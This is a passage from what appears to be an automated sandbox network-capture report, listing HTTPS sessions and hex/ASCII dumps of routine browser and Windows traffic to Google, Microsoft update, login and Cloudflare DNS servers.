aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdi
2024-11-22 16:08:39 UTC	1390	IN	Data Raw: 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 Data Ascii: h?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42
2024-11-22 16:08:39 UTC	1390	IN	Data Raw: 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 Data Ascii: ,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0
2024-11-22 16:08:39 UTC	1390	IN	Data Raw: 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f Data Ascii: trol-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700313,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_no
2024-11-22 16:08:39 UTC	116	IN	Data Raw: 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 0d 0a Data Ascii: fier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(le
2024-11-22 16:08:39 UTC	294	IN	Data Raw: 31 31 66 0d 0a 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: 11ft d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-22 16:08:39 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 66 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 Data Ascii: 8000new _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.fh\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this
2024-11-22 16:08:39 UTC	1390	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 Data Ascii: uerySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.leng

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49707	142.250.181.68	443	2596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:38 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 16:08:39 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 16:08:39 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 16:08:39 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-22 16:08:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49710	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:40 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NBpaY9u4MAKaRFe&MD=dGLnu6cB HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 16:08:41 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3cf453f9-eea9-40ba-93c1-0950d8d0070a MS-RequestId: 440ac35f-077f-4ab5-889a-70ca66983676 MS-CV: M+hJqu6TmEWiYy1B.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 16:08:40 GMT Connection: close Content-Length: 24490
2024-11-22 16:08:41 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-22 16:08:41 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49722	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:43 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 16:08:43 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF17) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=88634 Date: Fri, 22 Nov 2024 16:08:43 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49729	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:45 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 16:08:45 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=88617 Date: Fri, 22 Nov 2024 16:08:45 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-22 16:08:45 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49737	94.245.104.56	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:50 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:08:51 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 22 Nov 2024 16:08:50 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49739	20.190.147.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 16:08:52 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 16:08:53 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 16:07:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C512_BAY x-ms-request-id: 9246550b-b79e-4070-8cc9-2ff5b3291784 PPServer: PPV: 30 H: PH1PEPF000183BB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 16:08:52 GMT Connection: close Content-Length: 11389
2024-11-22 16:08:53 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49757	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:55 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:55 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:55 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e51b85b18c4-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:55 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49759	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:55 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:55 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:55 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:55 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e520cc78ca1-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:55 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 